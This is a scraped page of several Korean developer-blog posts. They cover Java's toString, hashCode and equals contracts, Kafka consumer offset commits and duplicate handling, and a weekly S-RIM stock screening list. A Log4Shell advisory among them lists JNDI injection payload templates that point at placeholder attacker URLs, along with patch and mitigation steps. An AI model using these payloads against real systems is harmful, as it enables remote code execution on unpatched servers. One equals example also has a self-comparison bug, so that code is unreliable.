반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 toString 메서드에 대해 설명한다.

 

Object.toString() 메서드

Object.toString() 메서드는 print와 같은 함수, assert, debugger 등에 객체가 전달되면 자동으로 호출되는 메서드로 해당 객체의 대한 정보를 사람이 읽기 쉽도록 간략하지만 유용한 정보를 제공하도록 하는 메서드이다.

 

하지만 Object 클래스에 정의된 toString() 메서드는 클래스 이름 다음에 @ 기호와 16진수로 표현된 해시 코드가 붙은 문자열을 출력하도록 아래와 같이 구현되어 있다.

public class Object {
	...

    public String toString() {
        return getClass().getName() + "@" + Integer.toHexString(hashCode());
    }

 

따라서 toString() 명세서에는 다음과 같이 작성되어 있다.

Returns a string representation of the object. In general, the toString method returns a string that "textually represents" this object. The result should be a concise but informative representation that is easy for a person to read. It is recommended that all subclasses override this method.

 

toString 메서드 구현 방법

1. 가능하다면 객체 내의 중요 정보를 전부 담자.

 

2. 중요 정보가 너무 많다면 최대한 요약해 표현하자.

 

3. 표현되는 정보들은 getter와 같은 메서드를 제공하여 정보를 가져갈 수 있도록 하자.

 

4. 누군가는 toString이 리턴하는 문자열을 파싱하여 사용할 수 있다. 따라서 항상 명세서에 toString이 리턴하는 문자열에 대해 자세히 표현한다.

 

아래는 9장에서 사용한 클래스의 toString의 예제이다.

public class PhoneNumberWithHashCode {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	public PhoneNumberWithHashCode(int areaCode, int prefix, int lineNumber) {
		this.areaCode = areaCode;
		this.prefix = prefix;
		this.lineNumber = lineNumber;
	}

	/**
	 *
	 * 전화번호를 문자열로 변환해서 반환한다.
	 * 문자열은 "(XXX) YYY-ZZZZ" 형식으로 표현하여, 지역번호(areaCode), 국번(prefix), 회선번호(lineNumber) 순이다.
	 * 형식은 변경될 수 있다.
	 */
	@Override
	public String toString() {
		return String.format("(%03d) %03d-%04d", areaCode, prefix, lineNumber);
	}

	public static void main(String[] args) {
		PhoneNumberWithHashCode p1 = new PhoneNumberWithHashCode(111, 654, 7009);

		System.out.println(p1);
	}

}

 

아래는 자주 사용하는 API들에 대한 toString 소스이다.

 

- java.util.AbstractMap : 대부분의 *Map들이 상속하는 클래스

Map<String, String> map = new HashMap<>();
map.put("key1", "value1");
map.put("key2", "value2");

System.out.println(map.toString()); // {key1=value1, key2=value2}
    /**
     * Returns a string representation of this map.  The string representation
     * consists of a list of key-value mappings in the order returned by the
     * map's <tt>entrySet</tt> view's iterator, enclosed in braces
     * (<tt>"{}"</tt>).  Adjacent mappings are separated by the characters
     * <tt>", "</tt> (comma and space).  Each key-value mapping is rendered as
     * the key followed by an equals sign (<tt>"="</tt>) followed by the
     * associated value.  Keys and values are converted to strings as by
     * {@link String#valueOf(Object)}.
     *
     * @return a string representation of this map
     */
    public String toString() {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        if (! i.hasNext())
            return "{}";

        StringBuilder sb = new StringBuilder();
        sb.append('{');
        for (;;) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            sb.append(key   == this ? "(this Map)" : key);
            sb.append('=');
            sb.append(value == this ? "(this Map)" : value);
            if (! i.hasNext())
                return sb.append('}').toString();
            sb.append(',').append(' ');
        }
    }

 

- java.util.Date : 날짜 및 시각 정보를 관리하는 클래스

System.out.println(new Date().toString()); // Mon Dec 13 23:46:32 KST 2021
    /**
     * Converts this <code>Date</code> object to a <code>String</code>
     * of the form:
     * <blockquote><pre>
     * dow mon dd hh:mm:ss zzz yyyy</pre></blockquote>
     * where:<ul>
     * <li><tt>dow</tt> is the day of the week (<tt>Sun, Mon, Tue, Wed,
     *     Thu, Fri, Sat</tt>).
     * <li><tt>mon</tt> is the month (<tt>Jan, Feb, Mar, Apr, May, Jun,
     *     Jul, Aug, Sep, Oct, Nov, Dec</tt>).
     * <li><tt>dd</tt> is the day of the month (<tt>01</tt> through
     *     <tt>31</tt>), as two decimal digits.
     * <li><tt>hh</tt> is the hour of the day (<tt>00</tt> through
     *     <tt>23</tt>), as two decimal digits.
     * <li><tt>mm</tt> is the minute within the hour (<tt>00</tt> through
     *     <tt>59</tt>), as two decimal digits.
     * <li><tt>ss</tt> is the second within the minute (<tt>00</tt> through
     *     <tt>61</tt>, as two decimal digits.
     * <li><tt>zzz</tt> is the time zone (and may reflect daylight saving
     *     time). Standard time zone abbreviations include those
     *     recognized by the method <tt>parse</tt>. If time zone
     *     information is not available, then <tt>zzz</tt> is empty -
     *     that is, it consists of no characters at all.
     * <li><tt>yyyy</tt> is the year, as four decimal digits.
     * </ul>
     *
     * @return  a string representation of this date.
     * @see     java.util.Date#toLocaleString()
     * @see     java.util.Date#toGMTString()
     */
    public String toString() {
        // "EEE MMM dd HH:mm:ss zzz yyyy";
        BaseCalendar.Date date = normalize();
        StringBuilder sb = new StringBuilder(28);
        int index = date.getDayOfWeek();
        if (index == BaseCalendar.SUNDAY) {
            index = 8;
        }
        convertToAbbr(sb, wtb[index]).append(' ');                        // EEE
        convertToAbbr(sb, wtb[date.getMonth() - 1 + 2 + 7]).append(' ');  // MMM
        CalendarUtils.sprintf0d(sb, date.getDayOfMonth(), 2).append(' '); // dd

        CalendarUtils.sprintf0d(sb, date.getHours(), 2).append(':');   // HH
        CalendarUtils.sprintf0d(sb, date.getMinutes(), 2).append(':'); // mm
        CalendarUtils.sprintf0d(sb, date.getSeconds(), 2).append(' '); // ss
        TimeZone zi = date.getZone();
        if (zi != null) {
            sb.append(zi.getDisplayName(date.isDaylightTime(), TimeZone.SHORT, Locale.US)); // zzz
        } else {
            sb.append("GMT");
        }
        sb.append(' ').append(date.getYear());  // yyyy
        return sb.toString();
    }
반응형
반응형

2021.12.29 추가내용

2.17.0 버전에서 RCE 공격이 가능하여 또 2.17.1로 패치

 

(https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832)

2021.12.20 추가내용

2.16.0 버전에서도 서비스 거부 현상 발생하여 2.17.0으로 패치

(https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397)

 

2021.12.15 추가내용

2.15.0 버전에서도 또 다시 jndi 취약점이 발견 됨. (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)

 

2.15.0 버전에서는 jndi가 localhost에서만 가능하도록 했지만, localhost로 jndi를 공격하면 지속적으로 localhost를 호출하여 서비스 거부(DOS)를 발생시킬 수 있음

 

최신버전인 2.16.0으로 업그레이드 해야함.

이슈

log4j 2.0 베타 9 ~ 2.14.1 버전까지 1~10단계중 가장 강력한 10단계 보안이슈 발생

 

%m으로 메시지 로깅하는 곳에 jndi 명령어가 있을 경우 해당 명령어를 수행하여 타 프로그램 실행 가능하도록 가능

 

${jndi:rmi://공격프로그램URL}

${jndi:ldap://공격프로그램URL}

${jndi:http://공격프로그램URL}

 

유명 제품에 대한 테스트 현황

https://github.com/YfryTchsGD/Log4jAttackSurface

 

테스트

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

 

 

해결

1. 최신버전인 2.15.0 으로 업그레이드

 

2. jndi lookup하지 않도록 변경

- Log4j 2.10 >=일 경우  JVM 옵션으로 Dlog4j2.formatMsgNoLookups=true

- Log4j 2.7 >= 일 경우 %m 설정을 %m{nolookups}

- Log4j 2.7 < 일 경우, 관련 클래스 모두 제거 후 jar 다시 말기

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

반응형

'Java' 카테고리의 다른 글

Junit in Action 3판  (2) 2024.09.22
반응형

Kafka는 Consumer가 자신이 읽은 위치의 offset을 기록하도록 commit을 하도록 한다.

이때 자동 커밋과 수동 커밋으로 나뉜다.

 

자동 커밋

자동 커밋은 특정 주기마다 커밋을 자동으로 하는 방식이다. 하지만 자동 커밋은 컨슈머 그룹의 리벨런싱이 발생할 때 중복 또는 유실이 발생한다.

 

1. 메시지 유실

자동 커밋의 주기가 1초라고 가정하였을 때, 메시지를 poll 하고 처리하던 컨슈머가 메시지를 처리하는데 오래 걸려 1초를 초과한 후에 장애가 발생할 경우, 이미 커밋을 하였기 때문에 해당 메시지는 더 이상 처리할 수 없다. 따라서 메시지 유실이 발생한다.

 

2. 메시지 중복

자동 커밋의 주기가 5초라고 가정하였을 때, 메시지를 poll 하고 컨슈머가 5초 이내에 메시지를 처리하였다. 하지만 어떠한 이유로 해당 컨슈머가 죽게 되면, 해당 메시지의 대한 커밋은 처리하지 못한 상태가 된다. 따라서 다른 컨슈머가 메시지를 중복하여 처리한다.

 

수동 커밋

수동 커밋은 Consumer 코드에서 명시적으로 커밋하는 방식이다. 수동 커밋은 커밋 위치에 따라 메시지 중복 또는 유실이 발생한다.

 

1. 메시지 유실

ConsumerRecords<String, String> records = consumer.poll(Long.MAX_VALUE);
consumer.commitAsync();
... // 메시지 처리 코드

위와 같이 메시지를 poll을 하고, 바로 커밋을 하게 되면 offset은 기록되어 이 메시지는 더 이상 중복되어 처리되지 않는다. 하지만 메시지를 처리하는 코드에서 에러가 발생할 경우, 해당 메시지와 함께 가져온 메시지들은 처리하지 못하고 유실이 발생한다.

 

2. 메시지 중복

ConsumerRecords<String, String> records = consumer.poll(Long.MAX_VALUE);
... // 메시지 처리 코드
consumer.commitAsync();

위 코드는 메시지 유실을 방지하기 위해 컨슈머가 메시지를 poll을 하고, 바로 커밋을 하는 것이 아니라 메시지를 처리하는 코드를 선행한 후에 커밋을 하였다. 하지만 메시지 처리하는 코드에서 에러가 발생할 경우 커밋을 하지 못한다. 이 경우 다시 메시지를 가져오기 때문에 이미 처리한 메시지들은 중복이 발생하게 된다. 이와 같이 메시지가 중복은 발생할 수 있어도 최소 한 번은 전달되는 방식을 at least once(최소 한 번)이라고 한다.

 

메시지 중복 방지

메시지 유실은 수동 커밋을 사용한다면 방지가 가능하다. 하지만 수동 커밋을 사용한다고 하더라도 메시지 중복이 발생한다. 메시지 중복을 막을 수 있는 방법은 무엇일까?

 

kafka에서는 exactly-once를 지원한다. 하지만 이 기능은 producer-kafka(broker)-consumer의 파이프라인 동안에 오직 한 번만 전달되는 의미이다. 즉 producer 쪽에 발생할 수 있는 메시지 유실에 더 집중한 기능이다. 이 기능을 사용한다고 해도 수동 커밋에 의한 메시지 중복을 피할 수 있는 것은 아니다. 따라서 컨슈머의 중복처리는 따로 로직을 작성해야한다.

 

 

1. 메시지를 DB에 insert만 하는 경우

컨슈머의 역할이 로깅과 같은 메시지를 DB에 저장하는 작업이라면 중복은 큰 문제가 되지 않는다. PK와 같은 식별자를 통해 DB 자체에서 검증할 수 있으므로 해당 예외만 처리하여 구현하면 된다.

try {
	dao.insert(log);
} catch (DataIntegrityViolationException ex) {
	logger.error("Log insert error. {}", log, ex);
}

 

2. 메시지를 DB에 insert 후에 다음 메시지는 update 하는 경우

상태와 같은 로그성 메시지일 경우, 처음 들어온 메시지는 insert를 해야 할 것이고 이후에 들어온 동일한 식별자는 update를 해야 하는 경우 아래와 같이 코드를 작성할 수 있다.

try {
	dao.insert(log);
} catch (DataIntegrityViolationException ex) {
	logger.error("Log insert error. {}", log, ex);
	dao.update(log);
}

 

하지만 위 코드는 파티션이 2개 이상이고, 라운드 로빈 방식으로 파티션에 나눠 보내면 문제가 발생한다. 최종 상태가 먼저 insert 된 후, 초기 상태가 이후에 처리되어 update 될 수 있기 때문이다. 또한 메시지 유실이 발생할 경우 각각의 처리하는 컨슈머가 다르므로 뒤죽박죽 처리될 것이다.

 

따라서 상태를 반영해야 하는 메시지일 경우 카프카는 파티션에 대해서는 메시지 순서를 보장하므로 동일한 식별자인 메시지에 대해서는 동일한 파티션으로만 보내야 한다. 이렇게 하면 메시지 유실이 발생한다고 하여도 메시지의 순서는 보장되므로 최종 상태도 정상 반영된다.

 

다만 위와 같이 코드를 작성할 경우 DB에 항상 먼저 insert를 한 후에 문제가 발생하면 update를 처리하므로 DB에 부하가 심하다. 따라서 상태와 같은 항목을 조건으로 하여 아래와 같이 작성하는 게 성능상으로 좋다.

	public void process() {
		if(TransactionProcessStatusEnum.PROGRESS == status) {
			insert(log);
		} else {
			int result = dao.update(log);
			if (result <= 0) {
				insert(log);
			}
		}
	}
	
	public void insert(Log log) {
		try {
			dao.insert(log);
		} catch (DataIntegrityViolationException ex) {
			logger.error("Log insert error. {}", log, ex);
			dao.update(log);
		}
	}

 

3. 온라인(즉시적인) 메시지 처리일 경우

 

반응형
반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 hashCode 메서드에 대해 설명한다.

 

Object.hashCode() 메서드

해시 코드란 객체를 식별하는 하나의 정수 값을 말한다. Object.hashCode() 메서드는 해당 객체의 해시 코드 값을 반환한다. 해시 코드는 java.util.HashMap과 같은 해시(hash) 기반 컬렉션에서 사용된다.

 

Object.hashCode() 메서드는 아래와 같다.

public class Object {
	 ...
	
	public native int hashCode();
}

 

Object의 hashCode는 native함수로 C언어로 작성되어 있다. 좀 더 자세히 알고 싶다면 다음을 참고한다. link to hashCode.

 

Object.hashCode() 메서드를 오버라이딩하여 재정의할 때 준수해야 하는 일반 규약이 Object 클래스 명세서에 작성되어 있다.

  • Whenever it is invoked on the same object more than once during an execution of a Java application, the hashCode method must consistently return the same integer, provided no information used in equals comparisons on the object is modified. This integer need not remain consistent from one execution of an application to another execution of the same application. 
  • If two objects are equal according to the equals(Object) method, then calling the hashCode method on each of the two objects must produce the same integer result.
  • It is not required that if two objects are unequal according to the java.lang.Object.equals(java.lang.Object) method, then calling the hashCode method on each of the two objects must produce distinct integer results. However, the programmer should be aware that producing distinct integer results for unequal objects may improve the performance of hash tables.

 

해시 코드는 반드시 구현해야 하는 것은 아니다. 하지만 두 번째 규약에 의하면 Object.equals() 메서드를 재정의 했다면 hashCode도 반드시 재정의해야 한다.

 

만약 두 번째 규약을 지키지 않으면 어떻게 되는지 보자.

 

두 번째 규약을 지키지 않았을 경우

아래는 equals() 메서드를 규약에 맞춰 작성한 PhoneNumer 클래스의 코드이다.

public class PhoneNumber {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	public PhoneNumber(int areaCode, int prefix, int lineNumber) {
		this.areaCode = areaCode;
		this.prefix = prefix;
		this.lineNumber = lineNumber;
	}

	@Override
	public boolean equals(Object obj) {
		if (obj == this) {
			return true;
		}
		if (!(obj instanceof PhoneNumber)) {
			return false;
		}

		PhoneNumber phoneNumber = (PhoneNumber) obj;

		// Since lineNumber may be the most different, check first.
		return phoneNumber.lineNumber == lineNumber && phoneNumber.prefix == prefix
		        && phoneNumber.areaCode == phoneNumber.areaCode;
	}

	public static void main(String[] args) {
		Map<PhoneNumber, String> map = new HashMap<PhoneNumber, String>();

		PhoneNumber p1 = new PhoneNumber(1, 2, 3);
		PhoneNumber p2 = new PhoneNumber(1, 2, 3);

		System.out.println(p1.equals(p2)); // true

		map.put(p1, "Phone");

		System.out.println(map.get(p1)); // Phone
		System.out.println(map.get(p2)); // null

		System.out.println(p1.hashCode()); // 366712642
		System.out.println(p2.hashCode()); // 1829164700
	}

}

p1과 p2는 논리적으로 동일하다. 즉, 새롭게 정의한 equals 메서드에서 두 객체는 동일하다고 판단한다. 그다음 HashMap에 p1을 키로 하여 데이터를 삽입하였다. 그 후, HashMap에서 데이터를 꺼낼 때 p1과 p2를 실험해본 결과 p1은 정상적으로 출력되지만 p2는 null을 반환한다.

 

Map은 동일한 키를 사용한다면 동일한 값을 반환해야 한다. 따라서 우리는 map.get(p2)도 Phone이 출력되어야 한다고 생각한다. 왜냐하면 p1과 p2는 논리적으로 동일하다고 판단하기 때문이다. 하지만 HashMap은 동일하다는 기준을 hashCode 값을 사용하여 판단한다. 따라서 HashMap에 동일성의 기준과 사람의 동일성의 기준을 같게 하기 위해서 equals 메서드를 재정의하였으면 hashCode 메서드도 재정의해야 한다.

 

hashCode()를 재정의 하기만 하면 된다?

이제 PhoneNumber의 문제를 발견했으니 hashCode() 메서드를 아래와 같이 재정의해보자. 

public class PhoneNumberOnlyAreaCode {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	...

	@Override
	public int hashCode() {
		return areaCode;
	}
    
	public static void main(String[] args) {
		Map<PhoneNumberOnlyAreaCode, String> map = new HashMap<PhoneNumberOnlyAreaCode, String>();

		PhoneNumberOnlyAreaCode p1 = new PhoneNumberOnlyAreaCode(1, 2, 3);
		PhoneNumberOnlyAreaCode p2 = new PhoneNumberOnlyAreaCode(1, 2, 3);

		System.out.println(p1.equals(p2)); // true

		map.put(p1, "Phone");

		System.out.println(map.get(p1)); // Phone
		System.out.println(map.get(p2)); // Phone

		System.out.println(p1.hashCode()); // 1
		System.out.println(p2.hashCode()); // 1
	}

}

 

위 결과를 보면 원하는 결과가 나왔다. 해시 코드를 areaCode를 리턴하도록 하였다.

 

그러나 위 코드는 areaCode가 같은 모든 객체는 같은 해시 코드를 가지게 되는데, 이는 해시 기반의 API를 사용할 때 끔찍한 결과를 가져올 것이다. areaCode가 같은 객체는 전부 같은 버킷에 해시되므로, 해시 테이블은 아주 긴 링크드 리스트가 많이 생기게 될 것이므로 원하는 성능이 나타나지 않는다.

 

따라서 hashCode의 세 번째 규약처럼 해시 코드가 꼭 다를 필요는 없지만, 해시 코드가 값이 다를수록 해시 테이블의 성능이 향상될 수 있다고 언급한 것이다.

 

hashCode 메서드 구현 순서

세 번째 규약에서 동일하지 않는 객체들끼리는 hashCode가 꼭 다를 필요는 없지만 다르면 성능적으로 좋다고 하였다. 서로 다른 객체들을 모든 가능한 해시 값에 균등하게 배분해야 하는데 수학자들이 그러한 이상적인 hashCode 메서드를 만드는 방법을 정의하였다.

 

  1. Create a int result and assign a non-zero value.
  2. For every field f tested in the equals() method, calculate a hash code c by:
    • If the field f is a boolean: calculate (f ? 0 : 1);
    • If the field f is a byte, char, short or int: calculate (int)f;
    • If the field f is a long: calculate (int)(f ^ (f »> 32));
    • If the field f is a float: calculate Float.floatToIntBits(f);
    • If the field f is a double: calculate Double.doubleToLongBits(f) and handle the return value like every long value;
    • If the field f is an object: Use the result of the hashCode() method or 0 if f == null;
    • If the field f is an array: see every field as separate element and calculate the hash value in a recursive fashion and combine the values as described next.
  3. Combine the hash value c with result:
    • result = 37 * result + c
  4. Return result

 

위 PhoneNumber에 구현 예제는 다음과 같다.

public class PhoneNumberWithHashCode {
	...

	@Override
	public int hashCode() {
		int result = 17;

		result = 31 * result + areaCode;
		result = 31 * result + prefix;
		result = 31 * result + lineNumber;

		return result;
	}

}

 

PhoneNumber는 필드가 세 개뿐이므로 해시 코드 값을 계산하는데 비용이 크지 않다. 하지만 해시 코드 계산 비용이 높은 클래스를 만들 때는 필요할 때마다 해시 코드를 재계산하는 대신 객체 안에 캐시 해 두어야 할 수도 있다. 우리가 자주 사용하는 String 클래스의 코드를 보자.

 public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence {
    /** The value is used for character storage. */
    private final char value[];

    /** Cache the hash code for the string */
    private int hash; // Default to 0

	...
 	
	public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

 

String 클래스의 hashCode는 글자의 길이만큼 반복이 발생하면서 hashCode 값을 계산한다. 아주 긴 문자열이라면 해시 코드를 계산하는데 비용이 크므로 String 클래스는 해시 코드를 계산한 후 캐싱해서 사용한다.

 

다만, 이렇게 캐시를 사용할 경우에는 변경 불가능 클래스여야 한다. 왜냐하면 중요 필드가 변경될 경우, 해시값도 달라져야 하는데 캐시를 해두고 위 로직처럼 한다면 동일한 해시값을 계속 반환하기 때문이다.

 

해시 코드를 구현할 때 주의할 점은 객체의 중요한 변수를 일부 빼고 해시 코드를 계산하면 문제가 발생할 수 있다. JDK 1.2 이전의 String의 hashCode는 문자열의 첫 번째 문자부터 일정 간격으로 열두 개 문자를 추출해서 해시 값을 계산했다. 추출한 12개의 문자들이 같은 경우가 많을 경우에는 해시 테이블이 끔찍한 성능을 보였다.

 

equals, hashCode를 자동으로 생성해주는 라이브러리

규칙 2에서 builder 패턴을 쉽게 생성해주는 lombok에 대해서 간단하게 설명했다. 마찬가지로 equals와 hashCode는 구현은 쉽지만 작성하기 귀찮으며 코드의 양이 많아져 보기가 싫다.

 

따라서 lombok에서는 equals와 hashCode에 대해서도 어노테이션을 제공한다.

@EqualsAndHashCode
public class EqualsAndHashCodeExample {
	private transient int transientVar = 10;
	private String name;
	private double score;
	@EqualsAndHashCode.Exclude
	private Shape shape = new Square(5, 10);
	private String[] tags;
	@EqualsAndHashCode.Exclude
	private int id;
}

 

@EqualsAndHashCode.Exclude를 사용하여 equals와 hashCode에서 배제할 필드를 선택할 수 있다.

 

아래는 최종적으로 생성되는 코드이다.

public class EqualsAndHashCodeExample {
	private transient int transientVar = 10;
	private String name;
	private double score;
	private Shape shape = new Square(5, 10);
	private String[] tags;
	private int id;

	public String getName() {
		return this.name;
	}

	@Override
	public boolean equals(Object o) {
		if (o == this) {
			return true;
		}
		if (!(o instanceof EqualsAndHashCodeExample)) {
			return false;
		}
		EqualsAndHashCodeExample other = (EqualsAndHashCodeExample) o;
		if (!other.canEqual(this)) {
			return false;
		}
		if (this.getName() == null ? other.getName() != null : !this.getName().equals(other.getName())) {
			return false;
		}
		if (Double.compare(this.score, other.score) != 0) {
			return false;
		}
		if (!Arrays.deepEquals(this.tags, other.tags)) {
			return false;
		}
		return true;
	}

	@Override
	public int hashCode() {
		final int PRIME = 59;
		int result = 1;
		final long temp1 = Double.doubleToLongBits(this.score);
		result = (result * PRIME) + (this.name == null ? 43 : this.name.hashCode());
		result = (result * PRIME) + (int) (temp1 ^ (temp1 >>> 32));
		result = (result * PRIME) + Arrays.deepHashCode(this.tags);
		return result;
	}

	protected boolean canEqual(Object other) {
		return other instanceof EqualsAndHashCodeExample;
	}
}

 

반응형
반응형

사경인 회계사님이 쓴 재무제표 모르면 주식투자 절대로 하지마라에 나오는 공식인 S-RIM을 계산하여 해당하는 종목을 매주 제공합니다.

 

재무제표 정보를 제공하는 사이트(http://comp.fnguide.com)를 크롤링하여 필요한 정보를 구했습니다.

 

특히, ROE 같은 경우는  당해에 컨센서스가 추측하는 ROE를 기준으로 하였고, 컨센서스가 존재하지 않을 경우 대상에서 제외합니다.

 

목표 수익률은 9%로 하였습니다.

 

당기순이익이 어떠한 이유로 인해(투자, 매각 등) 너무 높아 ROE가 비정상적으로 다른 해보다 높은 기업이 존재합니다.

따라서 아래 종목 리스트는 투자에 참고만 해주시고, 반드시 해당 기업의 재무제표를 다시 확인해주시기 바랍니다.

 

종목명 시가총액 현재가격 매수가격 중간가격 매도가격 최초 대비
NAVER 639806 389500 534551 814127 1714982 -3.59
기아 326723 80600 97175 107100 139078 -3.82
POSCO 237148 272000 644880 702895 889833 -2.16
KB금융 232021 55800 110688 112756 119422 -1.59
신한지주 189592 36700 90367 91004 93057 -1.74
LG 128987 82000 153135 165881 206952 -4.98
하나금융지주 125351 41750 111576 114243 122837 -1.76
HMM 119570 24450 49276 73284 150644 -4.49
S-Oil 95470 84800 85414 104268 165018 new
우리금융지주 93920 12900 35026 35953 38942 -1.53
LG디스플레이 74605 20850 39311 41452 48352 -7.74
롯데케미칼 68894 201000 446636 465901 527978 -4.06
한화솔루션 64174 33550 47703 50934 61342 -5.76
LG유플러스 60252 13800 17861 18151 19086 -0.36
현대글로비스 57563 153500 168661 183398 230886 -3.15
미래에셋증권 57242 9010 16800 17507 19785 -0.44
CJ제일제당 55625 369500 426775 444136 500076 1.23
현대제철 52444 39300 133779 135749 142096 -2.72
금호석유 47987 157500 333114 459167 865336 -3.08
한국금융지주 45361 81400 163719 201020 321210 -4.01
이마트 42511 152500 445721 501239 680130 -4.09
삼성증권 41078 46000 79135 90230 125982 -3.16
NH투자증권 38020 12800 23868 26176 33612 -1.54
DB손해보험 37949 53600 95016 98714 110628 -4.96
GS 36283 39050 112248 123400 159334 -2.25
메리츠증권 34973 5130 8276 9106 11783 -0.39
GS건설 32906 38450 54329 56084 61739 -4.11
GS리테일 31782 30350 54406 65836 102665 new
팬오션 28493 5330 7454 8283 10953 -3.62
BNK금융지주 27737 8510 27969 28117 28595 0.47
키움증권 27006 103000 207208 251633 394780 -2.37
OCI 26354 110500 151819 177358 259652 -6.75
포스코인터내셔널 25045 20300 29604 31091 35882 0.25
대우건설 23732 5710 9277 10558 14688 -5.15
한화 23500 31350 76104 84714 112456 -3.39
효성티앤씨 22071 510000 879830 1302424 2664115 -5.73
현대해상 21992 24600 51675 51686 51718 -1.40
한화에어로스페이스 21796 43050 56384 56517 56947 -1.71
롯데정밀화학 20769 80500 105426 126238 193300 1.13
코오롱인더 20474 74400 91086 93280 100350 -3.88
효성 20017 95000 145470 168831 244103 -1.45
두산 19911 120500 157249 183078 266304 -9.40
영원무역 17481 39450 53250 56258 65952 -10.34
JB금융지주 16409 8330 21828 23126 27311 -0.95
DGB금융지주 15815 9350 31231 31433 32084 -1.68
현대두산인프라코어 14867 7530 11485 12307 14956 -5.16
HDC현대산업개발 14697 22300 46591 48347 54003 -3.67
동국제강 14363 15050 35316 41986 63477 -6.81
DL 12448 59400 308900 392940 663734 -3.26
SK가스 11307 122500 246417 259632 302213 -0.81
대한유화 11050 170000 321982 328181 348154 -5.29
GS홈쇼핑 10165 154900 198218 205333 228258 0.00
대신증권 9901 19500 75224 94386 156128 new
LX인터내셔널 9477 24450 60586 73115 113486 -3.93
유니드 9157 103000 162934 199633 317886 -3.29
한섬 9113 37000 49595 50569 53705 -3.39
하림지주 8976 9720 24382 26073 31520 -3.28
풍산 8575 30600 68249 75466 98721 -2.39
효성화학 8406 263500 264691 334734 560429 6.46
SBS 8195 44900 55779 70006 115847 -6.46
동원산업 7925 215500 402975 415337 455169 -1.15
대상 7917 22850 35301 36307 39548 -3.18
대한해운 7916 2480 4897 5634 8009 -4.62
현대건설기계 7782 39500 73958 76849 86165 0.38
동원F&B 7448 193000 218420 227266 255772 -1.53
세아베스틸 6939 19350 53704 56584 65864 -4.44
SNT모티브 6522 44600 59299 60596 64773 -3.67
SK디앤디 6413 28900 33283 38268 54331 -4.15
한국토지신탁 6325 2505 4177 4479 5451 -3.65
코오롱글로벌 5723 22700 36441 45606 75136 -8.28
매일유업 5349 68200 72467 80046 104469 -2.43
한국자산신탁 5306 4280 7216 7781 9600 -0.93
국도화학 5118 56800 136537 173558 292848 -0.87
한라홀딩스 4969 47450 107497 115141 139770 -2.77
아세아제지 4577 51100 93289 104078 138841 new
이수화학 4543 16250 17441 22784 40002 7.26
한진 4484 30000 104337 118154 162673 -5.06
송원산업 4416 18400 24787 27365 35673 5.75
금호건설 4158 11350 30481 38015 62294 1.79
원익머트리얼즈 4047 32100 36174 40205 53194 -2.28
인탑스 3930 22850 35239 38463 48849 -2.77
태영건설 3929 10100 22450 25595 35728 -4.72
대한제강 3746 15200 33577 41438 66766 -6.46
웅진씽크빅 3673 3180 3410 3609 4252 new
랩지노믹스 3595 31400 34235 51552 107351 32.77
동부건설 3286 14450 33019 39629 60930 1.76
화신 3035 8690 8920 9511 11415 new
한세예스24홀딩스 2912 7280 14202 15611 20151 -5.82
풍산홀딩스 2899 27850 107173 126119 187167 -0.89
KSS해운 2678 11550 17826 20334 28417 -1.28
현대코퍼레이션 2196 16600 28208 29778 34836 -5.68
도이치모터스 2080 7020 11556 12183 14205 -3.97
한라 1972 5210 13361 15390 21928 -3.70
금화피에스시 1953 32550 47285 48398 51984 -6.60
와이엔텍 1865 10250 12002 13525 18430 -6.39
제이씨케미칼 1817 8160 8168 10051 16120 new
태웅로직스 1463 7490 12981 18642 36881 0.54
디와이파워 1413 12800 23285 25727 33596 0.00
SGC이테크건설 1395 68900 160545 210878 373064 -1.29
한미글로벌 1238 11300 12649 13193 14943 -3.42
현대코퍼레이션홀딩스 1106 12150 23138 24152 27420 -0.82
휴비츠 1104 9290 9384 10749 15146 1.98
오로라 1022 9500 12591 13338 15745 new
호전실업 957 10150 13730 14161 15551 new
이노인스트루먼트 779 1935 2413 2559 3029 -2.03
반응형

'주식' 카테고리의 다른 글

[21년 11월 4주차] S-RIM 종목  (0) 2021.11.21
[21년 11월 3주차] S-RIM 종목  (0) 2021.11.14
[21년 11월 2주차] S-RIM 종목  (0) 2021.11.07
[21년 11월 1주차] S-RIM 종목  (0) 2021.11.01
[21년 10월 5주차] S-RIM 종목  (0) 2021.10.24
반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 equals 메서드에 대해 설명한다.

 

Object.equals() 메서드

Object.equals() 메서드는 객체와 다른 객체가 동일한 지 여부를 반환한다. equals를 오버라이딩 하지 않았을 경우 최상위 객체인 Object의 메서드가 호출된다. 이 경우 오직 자기 자신하고만 같다. (메모리 주소가 동일)

 

아래는 Object.equals()의 코드이다.

public class Object {
	...
    
    public boolean equals(Object obj) {
        return (this == obj);
    }
}

 

Object.equals() 메서드를 오버라이딩하여 재정의할 때 준수해야 하는 일반 규약이 Object 클래스 명세서에 작성되어 있다.

 

  • It is reflexive: for any non-null reference value x, x.equals(x) should return true.
